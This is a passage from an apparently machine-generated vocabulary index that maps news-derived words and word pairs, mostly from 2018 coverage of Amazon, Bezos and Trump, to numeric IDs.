19118,\n  \"says lot\": 19119,\n  \"traditional independence\": 19120,\n  \"singapore summit\": 19121,\n  \"china zte\": 19122,\n  \"called project\": 19123,\n  \"new gods\": 19124,\n  \"coordinated protests\": 19125,\n  \"inward shift\": 19126,\n  \"post website\": 19127,\n  \"southwest airlines\": 19128,\n  \"entrepreneurs\": 19129,\n  \"partners madeleine\": 19130,\n  \"ferry service\": 19131,\n  \"gassner otting\": 19132,\n  \"leasing\": 19133,\n  \"news venezuela\": 19134,\n  \"unseat trump\": 19135,\n  \"trade council\": 19136,\n  \"office awarded\": 19137,\n  \"won release\": 19138,\n  \"butted\": 19139,\n  \"amazon boxes\": 19140,\n  \"trump forces\": 19141,\n  \"horseman\": 19142,\n  \"talton comments\": 19143,\n  \"smartest guys\": 19144,\n  \"sys\": 19145,\n  \"drones special\": 19146,\n  \"post follows\": 19147,\n  \"tonky\": 19148,\n  \"apparently declined\": 19149,\n  \"ng check\": 19150,\n  \"2018 issue\": 19151,\n  \"people attend\": 19152,\n  \"kudlow adding\": 19153,\n  \"post untangles\": 19154,\n  \"high quality\": 19155,\n  \"croatian\": 19156,\n  \"new slate\": 19157,\n  \"owe lower\": 19158,\n  \"paul caneiro\": 19159,\n  \"economy shrank\": 19160,\n  \"trump fight\": 19161,\n  \"meriwether\": 19162,\n  \"vivo micromax\": 19163,\n  \"haiti protests\": 19164,\n  \"technocrats\": 19165,\n  \"fairer shake\": 19166,\n  \"conduct interior\": 19167,\n  \"youtube youtube\": 19168,\n  \"blankets bring\": 19169,\n  \"female independence\": 19170,\n  \"juuls\": 19171,\n  \"coworking company\": 19172,\n  \"days earlier\": 19173,\n  \"designate indigenous\": 19174,\n  \"acosta access\": 19175,\n  \"german ballet\": 19176,\n  \"close eye\": 19177,\n  \"fortuitous disaster\": 19178,\n  \"customers inc_filelocation\": 19179,\n  \"technology firm\": 19180,\n  \"debunks\": 19181,\n  \"arch nemesis\": 19182,\n  \"investors recent\": 19183,\n  \"yerger isn\": 19184,\n  \"cca requested\": 19185,\n  \"boost rates\": 19186,\n  \"president possibly\": 19187,\n  \"lynchian noir\": 19188,\n  \"exclusive position\": 19189,\n  \"colossal\": 19190,\n  \"minister dealt\": 19191,\n  \"model isn\": 19192,\n  \"personally bought\": 19193,\n  \"specific motive\": 19194,\n  \"highly sought\": 19195,\n  \"love close\": 19196,\n  \"starring melissa\": 19197,\n  \"gates microsoft\": 19198,\n  \"tamil tiger\": 19199,\n  \"jeff carberry\": 19200,\n  \"bezos alleged\": 19201,\n  \"denissen\": 19202,\n  \"power forward\": 19203,\n  \"person calling\": 19204,\n  \"credit matthew\": 19205,\n  \"news source\": 19206,\n  \"special titled\": 19207,\n  \"labor trump\": 19208,\n  \"foil sauce\": 19209,\n  \"mass deportation\": 19210,\n  \"actually implemented\": 19211,\n  \"gettys\": 19212,\n  \"proposed\": 19213,\n  \"million fund\": 19214,\n  \"cruel\": 19215,\n  \"prompted investors\": 19216,\n  \"colon cancer\": 19217,\n  \"natural salesman\": 19218,\n  \"member catherine\": 19219,\n  \"plain dealer\": 19220,\n  \"bezos words\": 19221,\n  \"love maps\": 19222,\n  \"donations hit\": 19223,\n  \"paid toll\": 19224,\n  \"formally completed\": 19225,\n  \"unexpectedly large\": 19226,\n  \"alibaba relationship\": 19227,\n  \"websites including\": 19228,\n  \"dancer\": 19229,\n  \"included merchandise\": 19230,\n  \"melinda gates\": 19231,\n  \"including changes\": 19232,\n  \"dot amazon\": 19233,\n  \"trump kids\": 19234,\n  \"suburbs roughly\": 19235,\n  \"observer just\": 19236,\n  \"af sold\": 19237,\n  \"registering individual\": 19238,\n  \"boasting\": 19239,\n  \"offering groceries\": 19240,\n  \"service distributor\": 19241,\n  \"probably heard\": 19242,\n  \"small concern\": 19243,\n  \"licenses bailouts\": 19244,\n  \"potus look\": 19245,\n  \"happens signed\": 19246,\n  \"ferry landings\": 19247,\n  \"carlson tweeted\": 19248,\n  \"prescriptions online\": 19249,\n  \"expecting sales\": 19250,\n  \"wanted volatility\": 19251,\n  \"scumbags adam\": 19252,\n  \"elizabeth dress\": 19253,\n  \"1000\": 19254,\n  \"help adapt\": 19255,\n  \"relatable culprit\": 19256,\n  \"pentagon did\": 19257,\n  \"filibustered\": 19258,\n  \"midday report\": 19259,\n  \"backed startup\": 19260,\n  \"say surely\": 19261,\n  \"wearyingly\": 19262,\n  \"current book\": 19263,\n  \"war amazon\": 19264,\n  \"soccer fans\": 19265,\n  \"career banker\": 19266,\n  \"advisers presenting\": 19267,\n  \"doesn worry\": 19268,\n  \"increase try\": 19269,\n  \"defense contractors\": 19270,\n  \"newfound power\": 19271,\n  \"cellmate family\": 19272,\n  \"cio deasy\": 19273,\n  \"populate\": 19274,\n  \"frederick\": 19275,\n  \"determining delivery\": 19276,\n  \"662\": 19277,\n  \"proclaimed president\": 19278,\n  \"douglass prophet\": 19279,\n  \"service billions\": 19280,\n  \"email supposedly\": 19281,\n  \"diogo\": 19282,\n  \"preeminent\": 19283,\n  \"internet right\": 19284,\n  \"aj dellinger\": 19285,\n  \"age stories\": 19286,\n  \"1993 ap\": 19287,\n  \"told vanity\": 19288,\n  \"appeasing privacy\": 19289,\n  \"post ran\": 19290,\n  \"major categories\": 19291,\n  \"gold futures\": 19292,\n  \"service instead\": 19293,\n  \"apparently unfilmable\": 19294,\n  \"metro area\": 19295,\n  \"treece\": 19296,\n  \"pornography case\": 19297,\n  \"related google\": 19298,\n  \"called fintech\": 19299,\n  \"banking point\": 19300,\n  \"monthly metrocards\": 19301,\n  \"liberal resistance\": 19302,\n  \"caterpillar\": 19303,\n  \"ta return\": 19304,\n  \"messages leaked\": 19305,\n  \"signed sealed\": 19306,\n  \"cats uses\": 19307,\n  \"cheap global\": 19308,\n  \"years hint\": 19309,\n  \"inheriting\": 19310,\n  \"minority jack\": 19311,\n  \"lifetime\": 19312,\n  \"2018 joshua\": 19313,\n  \"vernon\": 19314,\n  \"catapulted president\": 19315,\n  \"new incentive\": 19316,\n  \"badass\": 19317,\n  \"continued returns\": 19318,\n  \"bolsters capabilities\": 19319,\n  \"unreality\": 19320,\n  \"kissinger talks\": 19321,\n  \"customer amazon\": 19322,\n  \"world valuable\": 19323,\n  \"winter meeting\": 19324,\n  \"review claiming\": 19325,\n  \"zuckerberg shares\": 19326,\n  \"feisty photogenic\": 19327,\n  \"mocking president\": 19328,\n  \"story lawyer\": 19329,\n  \"event today\": 19330,\n  \"direct effects\": 19331,\n  \"hosts plying\": 19332,\n  \"stock revival\": 19333,\n  \"week earlier\": 19334,\n  \"cnbc requests\": 19335,\n  \"affairs amos\": 19336,\n  \"tasked regulatory\": 19337,\n  \"texas based\": 19338,\n  \"j0 w4\": 19339,\n  \"fantasized fake\": 19340,\n  \"amazon pushes\": 19341,\n  \"bargain compiled\": 19342,\n  \"photo taken\": 19343,\n  \"articles mcdonalds\": 19344,\n  \"ceo writes\": 19345,\n  \"finish continue\": 19346,\n  \"arnade tells\": 19347,\n  \"clear bezos\": 19348,\n  \"spent weeks\": 19349,\n  \"include neil\": 19350,\n  \"deal terms\": 19351,\n  \"traditional coalition\": 19352,\n  \"commentator ben\": 19353,\n  \"immigratns\": 19354,\n  \"ilieanna\": 19355,\n  \"brand names\": 19356,\n  \"2018 presidents\": 19357,\n  \"1912\": 19358,\n  \"care debate\": 19359,\n  \"claiming amazon\": 19360,\n  \"iac ceo\": 19361,\n  \"ultrasonic\": 19362,\n  \"equipment manufacturers\": 19363,\n  \"million loss\": 19364,\n  \"excuse\": 19365,\n  \"repatriated\": 19366,\n  \"questioned ms\": 19367,\n  \"brief tasks\": 19368,\n  \"previous white\": 19369,\n  \"frisk people\": 19370,\n  \"activity data\": 19371,\n  \"bigot\": 19372,\n  \"dem megadonor\": 19373,\n  \"years charging\": 19374,\n  \"plays cathy\": 19375,\n  \"twitter tell\": 19376,\n  \"cisco results\": 19377,\n  \"equitable\": 19378,\n  \"perpetrator camera\": 19379,\n  \"published purported\": 19380,\n  \"write book\": 19381,\n  \"wcve\": 19382,\n  \"gm plant\": 19383,\n  \"weighing little\": 19384,\n  \"pickup service\": 19385,\n  \"law subsidizing\": 19386,\n  \"queensbridge resident\": 19387,\n  \"establish billion\": 19388,\n  \"runstad\": 19389,\n  \"unpresidented outcome\": 19390,\n  \"steak\": 19391,\n  \"pelley\": 19392,\n  \"indexhas\": 19393,\n  \"post reportage\": 19394,\n  \"herald radio\": 19395,\n  \"sent 070\": 19396,\n  \"act saw\": 19397,\n  \"pitch finalists\": 19398,\n  \"turkey 2018\": 19399,\n  \"facebook warren\": 19400,\n  \"unprecedented wealth\": 19401,\n  \"slavica radic\": 19402,\n  \"eventually spun\": 19403,\n  \"invent\": 19404,\n  \"recent campaign\": 19405,\n  \"media post\": 19406,\n  \"foods david\": 19407,\n  \"keeping quiet\": 19408,\n  \"stt global\": 19409,\n  \"offering special\": 19410,\n  \"hackers fraudulently\": 19411,\n  \"average refund\": 19412,\n  \"second greatest\": 19413,\n  \"pea\": 19414,\n  \"tremendous environmental\": 19415,\n  \"function n4\": 19416,\n  \"maintain government\": 19417,\n  \"supports democratic\": 19418,\n  \"sites including\": 19419,\n  \"turn away\": 19420,\n  \"sens elizabeth\": 19421,\n  \"musk plan\": 19422,\n  \"disturbing images\": 19423,\n  \"appointee\": 19424,\n  \"opportunity watch\": 19425,\n  \"giant operates\": 19426,\n  \"q1 2006\": 19427,\n  \"healthcare\": 19428,\n  \"obama pic\": 19429,\n  \"conduct audits\": 19430,\n  \"curate\": 19431,\n  \"nomination airbag\": 19432,\n  \"discussing governance\": 19433,\n  \"john clark\": 19434,\n  \"amazon stockholders\": 19435,\n  \"communications technologies\": 19436,\n  \"business credit\": 19437,\n  \"potentially massive\": 19438,\n  \"anthony williams\": 19439,\n  \"optional amazon\": 19440,\n  \"launched twitter\": 19441,\n  \"courts legal\": 19442,\n  \"brian tracy\": 19443,\n  \"k6 api\": 19444,\n  \"cost twitter\": 19445,\n  \"dealingswith\": 19446,\n  \"flows snowden\": 19447,\n  \"success khanna\": 19448,\n  \"regulate pichai\": 19449,\n  \"include autotrader\": 19450,\n  \"realistic\": 19451,\n  \"zelevansky\": 19452,\n  \"202 432\": 19453,\n  \"gregory korte\": 19454,\n  \"discloses\": 19455,\n  \"follow david\": 19456,\n  \"soft according\": 19457,\n  \"filed complaint\": 19458,\n  \"william bing\": 19459,\n  \"post just\": 19460,\n  \"treasury yields\": 19461,\n  \"26th herera\": 19462,\n  \"admitting privileges\": 19463,\n  \"tough patch\": 19464,\n  \"question cuomo\": 19465,\n  \"companies deserve\": 19466,\n  \"different plan\": 19467,\n  \"coincidence carell\": 19468,\n  \"review expansion\": 19469,\n  \"capabilities offered\": 19470,\n  \"oops\": 19471,\n  \"just don\": 19472,\n  \"online consumers\": 19473,\n  \"russia remarks\": 19474,\n  \"monthly users\": 19475,\n  \"occur moving\": 19476,\n  \"paul vallone\": 19477,\n  \"addressing child\": 19478,\n  \"android app\": 19479,\n  \"economy labor\": 19480,\n  \"political turmoil\": 19481,\n  \"hurricane florence\": 19482,\n  \"fully expects\": 19483,\n  \"network pales\": 19484,\n  \"bestseller johnston\": 19485,\n  \"policies restricting\": 19486,\n  \"lose homes\": 19487,\n  \"queens hq2\": 19488,\n  \"policy trade\": 19489,\n  \"likened portions\": 19490,\n  \"dollar entrepreneur\": 19491,\n  \"chief scott\": 19492,\n  \"bookings\": 19493,\n  \"relations presentation\": 19494,\n  \"naming trump\": 19495,\n  \"people liberal\": 19496,\n  \"tracking kids\": 19497,\n  \"fortune adam\": 19498,\n  \"downplays\": 19499,\n  \"amazon traffic\": 19500,\n  \"eighty women\": 19501,\n  \"paternity\": 19502,\n  \"republican convention\": 19503,\n  \"madeleine albright\": 19504,\n  \"fillmore\": 19505,\n  \"project sign\": 19506,\n  \"city voters\": 19507,\n  \"trump advertising\": 19508,\n  \"claire bochner\": 19509,\n  \"buy nvidia\": 19510,\n  \"ap justice\": 19511,\n  \"roles\": 19512,\n  \"accolade raj\": 19513,\n  \"syndicated radio\": 19514,\n  \"office reforms\": 19515,\n  \"simmering\": 19516,\n  \"split\": 19517,\n  \"hiring undocumented\": 19518,\n  \"shepardson editing\": 19519,\n  \"polls ahead\": 19520,\n  \"grande valley\": 19521,\n  \"additional shares\": 19522,\n  \"held number\": 19523,\n  \"know nasty\": 19524,\n  \"net neutral\": 19525,\n  \"main nuclear\": 19526,\n  \"wawx nws\": 19527,\n  \"antler\": 19528,\n  \"leader saddam\": 19529,\n  \"pharmaceutical industry\": 19530,\n  \"practices act\": 19531,\n  \"skewed understanding\": 19532,\n  \"unethical acts\": 19533,\n  \"laws\": 19534,\n  \"hissed\": 19535,\n  \"midterms meaningful\": 19536,\n  \"pricing policies\": 19537,\n  \"dc awful\": 19538,\n  \"saving taxpayers\": 19539,\n  \"device powered\": 19540,\n  \"drawn quarterly\": 19541,\n  \"asset class\": 19542,\n  \"refuting\": 19543,\n  \"beta amazon\": 19544,\n  \"singer songwriter\": 19545,\n  \"trademarked\": 19546,\n  \"house hasn\": 19547,\n  \"identify probable\": 19548,\n  \"fair sally\": 19549,\n  \"000 plus\": 19550,\n  \"presidentelect\": 19551,\n  \"represented cable\": 19552,\n  \"margins associated\": 19553,\n  \"hardly surprising\": 19554,\n  \"generates revenue\": 19555,\n  \"pencil point\": 19556,\n  \"story watch\": 19557,\n  \"acclaimed american\": 19558,\n  \"citizens ahead\": 19559,\n  \"staff key\": 19560,\n  \"nation antitrust\": 19561,\n  \"ga seats\": 19562,\n  \"service evaluation\": 19563,\n  \"shares topped\": 19564,\n  \"coalition mchugh\": 19565,\n  \"protect ip\": 19566,\n  \"famous newspaper\": 19567,\n  \"burrp local\": 19568,\n  \"interesting\": 19569,\n  \"hasty\": 19570,\n  \"flipkarts\": 19571,\n  \"giant met\": 19572,\n  \"765 words\": 19573,\n  \"shipping companies\": 19574,\n  \"overseer\": 19575,\n  \"political academic\": 19576,\n  \"earlier decision\": 19577,\n  \"2018 spectator\": 19578,\n  \"shot amazon\": 19579,\n  \"asylums hotels\": 19580,\n  \"hollywood sanchez\": 19581,\n  \"balance backdating\": 19582,\n  \"tariffs mounts\": 19583,\n  \"geoffrey says\": 19584,\n  \"family homes\": 19585,\n  \"commission proposed\": 19586,\n  \"avoid threat\": 19587,\n  \"tacitly dismiss\": 19588,\n  \"meyers trump\": 19589,\n  \"bandar otyf\": 19590,\n  \"monstrously\": 19591,\n  \"weekend trolled\": 19592,\n  \"called alexa\": 19593,\n  \"linked research\": 19594,\n  \"gawande criticized\": 19595,\n  \"list scott\": 19596,\n  \"pleebles told\": 19597,\n  \"pinpointing\": 19598,\n  \"tv version\": 19599,\n  \"confronts minefield\": 19600,\n  \"feinstein 1531685705\": 19601,\n  \"climate governance\": 19602,\n  \"pics\": 19603,\n  \"scorecard svs\": 19604,\n  \"powerhouse tech\": 19605,\n  \"property storage\": 19606,\n  \"volatile lagos\": 19607,\n  \"says republicans\": 19608,\n  \"grandinetti amazon\": 19609,\n  \"bhuvaneswar dzanc\": 19610,\n  \"seconds treated\": 19611,\n  \"weed\": 19612,\n  \"killed vine\": 19613,\n  \"newman manhattan\": 19614,\n  \"bureau did\": 19615,\n  \"length body\": 19616,\n  \"fuel contracts\": 19617,\n  \"thomas read\": 19618,\n  \"college london\": 19619,\n  \"regional local\": 19620,\n  \"giant takes\": 19621,\n  \"reactid 191\": 19622,\n  \"hench\": 19623,\n  \"hell teams\": 19624,\n  \"azure\": 19625,\n  \"benchmarks\": 19626,\n  \"hadn\": 19627,\n  \"invade\": 19628,\n  \"taran\": 19629,\n  \"contract wikileaks\": 19630,\n  \"mush ifiers\": 19631,\n  \"lessons train\": 19632,\n  \"mnuchin pressed\": 19633,\n  \"elections antitrust\": 19634,\n  \"steeply\": 19635,\n  \"benefit manager\": 19636,\n  \"lumish mindi\": 19637,\n  \"bipartisan backing\": 19638,\n  \"generally critical\": 19639,\n  \"sex shops\": 19640,\n  \"trade daily\": 19641,\n  \"affairs subcommittee\": 19642,\n  \"walmart amazon\": 19643,\n  \"850 million\": 19644,\n  \"ballots sent\": 19645,\n  \"threats farrow\": 19646,\n  \"general swearing\": 19647,\n  \"programs authorized\": 19648,\n  \"university philosopher\": 19649,\n  \"456\": 19650,\n  \"growth demands\": 19651,\n  \"america culture\": 19652,\n  \"anil\": 19653,\n  \"pools\": 19654,\n  \"colossal infrastructure\": 19655,\n  \"fold trump\": 19656,\n  \"enforcement officers\": 19657,\n  \"david begnaud\": 19658,\n  \"believed secret\": 19659,\n  \"wunderman commerce\": 19660,\n  \"secure access\": 19661,\n  \"riverfront park\": 19662,\n  \"nice clean\": 19663,\n  \"matsakis\": 19664,\n  \"accused social\": 19665,\n  \"lawfully ami\": 19666,\n  \"political fortunes\": 19667,\n  \"preserve trump\": 19668,\n  \"christmas tao\": 19669,\n  \"visas tax\": 19670,\n  \"successor washington\": 19671,\n  \"amazon ultimate\": 19672,\n  \"deliver items\": 19673,\n  \"unearthing problems\": 19674,\n  \"cnl_contributor_accessflag false\": 19675,\n  \"basic necessities\": 19676,\n  \"cultures mrc\": 19677,\n  \"forces news\": 19678,\n  \"minchillo\": 19679,\n  \"various anchors\": 19680,\n  \"suu\": 19681,\n  \"dens\": 19682,\n  \"backdrop president\": 19683,\n  \"model facebook\": 19684,\n  \"strong gdp\": 19685,\n  \"deteriorating streets\": 19686,\n  \"totally rejects\": 19687,\n  \"public integrity\": 19688,\n  \"evangelicals sexual\": 19689,\n  \"giant uber\": 19690,\n  \"norton company\": 19691,\n  \"growth asked\": 19692,\n  \"false stories\": 19693,\n  \"2fnews\": 19694,\n  \"fast tough\": 19695,\n  \"colbert addresses\": 19696,\n  \"amazon threat\": 19697,\n  \"tech writer\": 19698,\n  \"mulls\": 19699,\n  \"niagara county\": 19700,\n  \"google spokespeople\": 19701,\n  \"comment background\": 19702,\n  \"future premier\": 19703,\n  \"disappearing\": 19704,\n  \"pre market\": 19705,\n  \"week video\": 19706,\n  \"photo danielle\": 19707,\n  \"including matt\": 19708,\n  \"microsoft dr\": 19709,\n  \"manufacturing businesses\": 19710,\n  \"reports work\": 19711,\n  \"alaniz senior\": 19712,\n  \"bezos divorce\": 19713,\n  \"company explaining\": 19714,\n  \"handles amazon\": 19715,\n  \"time interactive\": 19716,\n  \"eastern shore\": 19717,\n  \"easily roll\": 19718,\n  \"prepend\": 19719,\n  \"wallis\": 19720,\n  \"revolutionaries changed\": 19721,\n  \"winning jurisdiction\": 19722,\n  \"child pornography\": 19723,\n  \"beast\": 19724,\n  \"official acts\": 19725,\n  \"striking workers\": 19726,\n  \"james dillon\": 19727,\n  \"news health\": 19728,\n  \"remained relatively\": 19729,\n  \"families 2018\": 19730,\n  \"president claim\": 19731,\n  \"republicans pointing\": 19732,\n  \"page page\": 19733,\n  \"pressure amazon\": 19734,\n  \"celebs\": 19735,\n  \"just tore\": 19736,\n  \"clear mean\": 19737,\n  \"false news\": 19738,\n  \"harry taylor\": 19739,\n  \"shared history\": 19740,\n  \"actively seek\": 19741,\n  \"karamo brown\": 19742,\n  \"amazon slogans\": 19743,\n  \"cum\": 19744,\n  \"post story\": 19745,\n  \"barstow\": 19746,\n  \"trump told\": 19747,\n  \"josh silverman\": 19748,\n  \"greene npr\": 19749,\n  \"people really\": 19750,\n  \"york split\": 19751,\n  \"services crew\": 19752,\n  \"allow smaller\": 19753,\n  \"probe share\": 19754,\n  \"fed starts\": 19755,\n  \"kore eda\": 19756,\n  \"include congestion\": 19757,\n  \"7203 7203\": 19758,\n  \"university arthur\": 19759,\n  \"lennon spoke\": 19760,\n  \"matthew rhys\": 19761,\n  \"challenges associated\": 19762,\n  \"walks away\": 19763,\n  \"unreasonably\": 19764,\n  \"places disproportionate\": 19765,\n  \"neatly\": 19766,\n  \"goods\": 19767,\n  \"paxton\": 19768,\n  \"meetings concerned\": 19769,\n  \"trump retailing\": 19770,\n  \"additional headquarters\": 19771,\n  \"howard kurtz\": 19772,\n  \"salespeople\": 19773,\n  \"staff zinke\": 19774,\n  \"election day\": 19775,\n  \"delivers large\": 19776,\n  \"earth\": 19777,\n  \"keefe svp\": 19778,\n  \"users joining\": 19779,\n  \"disgraced\": 19780,\n  \"420 words\": 19781,\n  \"new exchange\": 19782,\n  \"lauderdale\": 19783,\n  \"previously admitting\": 19784,\n  \"undergoes major\": 19785,\n  \"unreasonable\": 19786,\n  \"views widely\": 19787,\n  \"solid revenue\": 19788,\n  \"lola kirke\": 19789,\n  \"weather indonesia\": 19790,\n  \"form regulating\": 19791,\n  \"reverse long\": 19792,\n  \"wall funds\": 19793,\n  \"warns brian\": 19794,\n  \"media 2018\": 19795,\n  \"crossers honestly\": 19796,\n  \"cnn tapper\": 19797,\n  \"ice queen\": 19798,\n  \"quality public\": 19799,\n  \"operations llc\": 19800,\n  \"media group\": 19801,\n  \"jr channelarray\": 19802,\n  \"billion joined\": 19803,\n  \"house time\": 19804,\n  \"secretary ari\": 19805,\n  \"federal communications\": 19806,\n  \"built 840\": 19807,\n  \"market fall\": 19808,\n  \"reported president\": 19809,\n  \"2011\": 19810,\n  \"core values\": 19811,\n  \"contractor requirements\": 19812,\n  \"really spend\": 19813,\n  \"2019 prlog\": 19814,\n  \"administrative judge\": 19815,\n  \"mae sai\": 19816,\n  \"backs boxes\": 19817,\n  \"matt yglesias\": 19818,\n  \"trust sold\": 19819,\n  \"seriously study\": 19820,\n  \"significant publicity\": 19821,\n  \"city20 pictures\": 19822,\n  \"true sure\": 19823,\n  \"value loss\": 19824,\n  \"cony\": 19825,\n  \"myrie daily\": 19826,\n  \"khashoggi murder\": 19827,\n  \"husband steve\": 19828,\n  \"overdoses\": 19829,\n  \"a4ee g1\": 19830,\n  \"incredible american\": 19831,\n  \"acadian\": 19832,\n  \"publishing squeezed\": 19833,\n  \"marijuana ignited\": 19834,\n  \"potential buyers\": 19835,\n  \"dow 500\": 19836,\n  \"deadliest mass\": 19837,\n  \"claman\": 19838,\n  \"personally directed\": 19839,\n  \"homes using\": 19840,\n  \"lenz\": 19841,\n  \"denied involvement\": 19842,\n  \"mistress months\": 19843,\n  \"proposed copyright\": 19844,\n  \"probe investigators\": 19845,\n  \"trump riches\": 19846,\n  \"print rss\": 19847,\n  \"mnuchin pled\": 19848,\n  \"company based\": 19849,\n  \"cve\": 19850,\n  \"don love\": 19851,\n  \"appealed\": 19852,\n  \"representatives did\": 19853,\n  \"ill wind\": 19854,\n  \"happen amazon\": 19855,\n  \"john garamendi\": 19856,\n  \"plan sanders\": 19857,\n  \"meb\": 19858,\n  \"unfavorable media\": 19859,\n  \"segundo\": 19860,\n  \"alternative\": 19861,\n  \"flared version\": 19862,\n  \"times kingdom\": 19863,\n  \"mexican products\": 19864,\n  \"states corporate\": 19865,\n  \"rash\": 19866,\n  \"companies sharing\": 19867,\n  \"zing vote\": 19868,\n  \"apron\": 19869,\n  \"mike adams\": 19870,\n  \"longtime\": 19871,\n  \"options near\": 19872,\n  \"acknowledge politics\": 19873,\n  \"mutual intermediaries\": 19874,\n  \"sustain\": 19875,\n  \"comprehensive\": 19876,\n  \"etcetera\": 19877,\n  \"shifting party\": 19878,\n  \"jay makes\": 19879,\n  \"clerical abuse\": 19880,\n  \"louisiana regulations\": 19881,\n  \"months president\": 19882,\n  \"amazon nationally\": 19883,\n  \"rekognition utility\": 19884,\n  \"followers offer\": 19885,\n  \"banner year\": 19886,\n  \"biggest votes\": 19887,\n  \"ballantine\": 19888,\n  \"politics ahead\": 19889,\n  \"year options\": 19890,\n  \"disputes voter\": 19891,\n  \"phone hacking\": 19892,\n  \"request west\": 19893,\n  \"newman foto\": 19894,\n  \"war whichever\": 19895,\n  \"crawl\": 19896,\n  \"johnstown\": 19897,\n  \"prosecutors\": 19898,\n  \"monetizing\": 19899,\n  \"healthcare market\": 19900,\n  \"trump implies\": 19901,\n  \"trump popularized\": 19902,\n  \"strong brands\": 19903,\n  \"grieve\": 19904,\n  \"trump bluster\": 19905,\n  \"massive incentives\": 19906,\n  \"unbridled greed\": 19907,\n  \"volcovici labor\": 19908,\n  \"real reform\": 19909,\n  \"big round\": 19910,\n  \"5etweetembed 7ctwgr\": 19911,\n  \"wage making\": 19912,\n  \"children html\": 19913,\n  \"sterling reputation\": 19914,\n  \"changing existing\": 19915,\n  \"2020 class\": 19916,\n  \"department ordered\": 19917,\n  \"service times\": 19918,\n  \"missed earnings\": 19919,\n  \"internal captive\": 19920,\n  \"america decent\": 19921,\n  \"rider shoah\": 19922,\n  \"yasha levine\": 19923,\n  \"home invasions\": 19924,\n  \"maverick\": 19925,\n  \"rutgers law\": 19926,\n  \"controversy laden\": 19927,\n  \"thereason\": 19928,\n  \"avid aviation\": 19929,\n  \"picker data\": 19930,\n  \"profile feud\": 19931,\n  \"ongoing peace\": 19932,\n  \"accusing iran\": 19933,\n  \"970\": 19934,\n  \"trump vindictive\": 19935,\n  \"million total\": 19936,\n  \"corp shares\": 19937,\n  \"securities insurance\": 19938,\n  \"lie\": 19939,\n  \"200 000\": 19940,\n  \"think crime\": 19941,\n  \"looking legislation\": 19942,\n  \"political sexual\": 19943,\n  \"bezos later\": 19944,\n  \"nation powerful\": 19945,\n  \"1970\": 19946,\n  \"number indicates\": 19947,\n  \"dc socialite\": 19948,\n  \"2019 spice\": 19949,\n  \"companies fail\": 19950,\n  \"pied terre\": 19951,\n  \"ag\\u00eancia senado\": 19952,\n  \"loopholes exemptions\": 19953,\n  \"actually workers\": 19954,\n  \"bank conference\": 19955,\n  \"bezos forbes\": 19956,\n  \"2018 markets\": 19957,\n  \"frenkel\": 19958,\n  \"raices\": 19959,\n  \"pillpack deal\": 19960,\n  \"amazon attempt\": 19961,\n  \"tidy\": 19962,\n  \"efforts significantly\": 19963,\n  \"view training\": 19964,\n  \"happy happy\": 19965,\n  \"aniston\": 19966,\n  \"crony monopoly\": 19967,\n  \"possibly half\": 19968,\n  \"emergency pelosi\": 19969,\n  \"forest founded\": 19970,\n  \"politico\": 19971,\n  \"communicate 2018\": 19972,\n  \"deer\": 19973,\n  \"government institute\": 19974,\n  \"jet terms\": 19975,\n  \"event principal\": 19976,\n  \"duane paul\": 19977,\n  \"champion tv\": 19978,\n  \"trump ran\": 19979,\n  \"personal films\": 19980,\n  \"secs authority\": 19981,\n  \"2014 democrats\": 19982,\n  \"holds 741\": 19983,\n  \"125 million\": 19984,\n  \"comprehensive natural\": 19985,\n  \"______\": 19986,\n  \"blvd\": 19987,\n  \"2018 rise\": 19988,\n  \"aftermarket trade\": 19989,\n  \"america cable\": 19990,\n  \"willie wilson\": 19991,\n  \"says jocum\": 19992,\n  \"trillion trumping\": 19993,\n  \"elegy memoir\": 19994,\n  \"know fred\": 19995,\n  \"workers dealing\": 19996,\n  \"specialized needs\": 19997,\n  \"inc_full_width_read_moreflag\": 19998,\n  \"food coverage\": 19999,\n  \"emails directly\": 20000,\n  \"narrative bits\": 20001,\n  \"saying users\": 20002,\n  \"technology pieces\": 20003,\n  \"vehicles similar\": 20004,\n  \"mccormack\": 20005,\n  \"shipments create\": 20006,\n  \"currently listed\": 20007,\n  \"potential powerhouse\": 20008,\n  \"bureaucracy\": 20009,\n  \"ceo hiring\": 20010,\n  \"orders halt\": 20011,\n  \"hit particularly\": 20012,\n  \"struggling grocery\": 20013,\n  \"index advanced\": 20014,\n  \"amazon pledged\": 20015,\n  \"bessemer\": 20016,\n  \"edge research\": 20017,\n  \"dr simon\": 20018,\n  \"parscale lambasted\": 20019,\n  \"hung\": 20020,\n  \"brazilian news\": 20021,\n  \"court read\": 20022,\n  \"print title\": 20023,\n  \"report united\": 20024,\n  \"type education\": 20025,\n  \"difficult moments\": 20026,\n  \"liu bayside\": 20027,\n  \"just rolled\": 20028,\n  \"incentive really\": 20029,\n  \"parrythose\": 20030,\n  \"dms\": 20031,\n  \"traffic people\": 20032,\n  \"grammy winner\": 20033,\n  \"emboldening group\": 20034,\n  \"prescription opioid\": 20035,\n  \"outside donald\": 20036,\n  \"towers including\": 20037,\n  \"year figured\": 20038,\n  \"amazon product\": 20039,\n  \"cheeks sanchez\": 20040,\n  \"existing customers\": 20041,\n  \"forced spotify\": 20042,\n  \"warr twgmb\": 20043,\n  \"project authorization\": 20044,\n  \"standards\": 20045,\n  \"zgutowicz\": 20046,\n  \"npr eric\": 20047,\n  \"coastal states\": 20048,\n  \"groups undermines\": 20049,\n  \"named michael\": 20050,\n  \"transparent aboutwhat\": 20051,\n  \"law requires\": 20052,\n  \"post journalist\": 20053,\n  \"directed attorney\": 20054,\n  \"mexico reaching\": 20055,\n  \"firm workday\": 20056,\n  \"video washington\": 20057,\n  \"sir 100\": 20058,\n  \"hippies fyi\": 20059,\n  \"don blame\": 20060,\n  \"cuomo ny\": 20061,\n  \"races reuters\": 20062,\n  \"kashrut\": 20063,\n  \"demand thanks\": 20064,\n  \"graphic hold\": 20065,\n  \"better life\": 20066,\n  \"backed airline\": 20067,\n  \"accenture invests\": 20068,\n  \"pipe dream\": 20069,\n  \"brigitte\": 20070,\n  \"maximizedbannersize media\": 20071,\n  \"shirt permanent\": 20072,\n  \"fdr\": 20073,\n  \"drawn parallels\": 20074,\n  \"jacobson\": 20075,\n  \"markets deposit\": 20076,\n  \"apprenticeships place\": 20077,\n  \"entertains\": 20078,\n  \"notetaker\": 20079,\n  \"debacle\": 20080,\n  \"curiously\": 20081,\n  \"counting inflation\": 20082,\n  \"improvements new\": 20083,\n  \"hq2 followed\": 20084,\n  \"playmate model\": 20085,\n  \"gained lowering\": 20086,\n  \"economists don\": 20087,\n  \"gary cohngary\": 20088,\n  \"today president\": 20089,\n  \"employees express\": 20090,\n  \"blackberry phones\": 20091,\n  \"increasingly noticeable\": 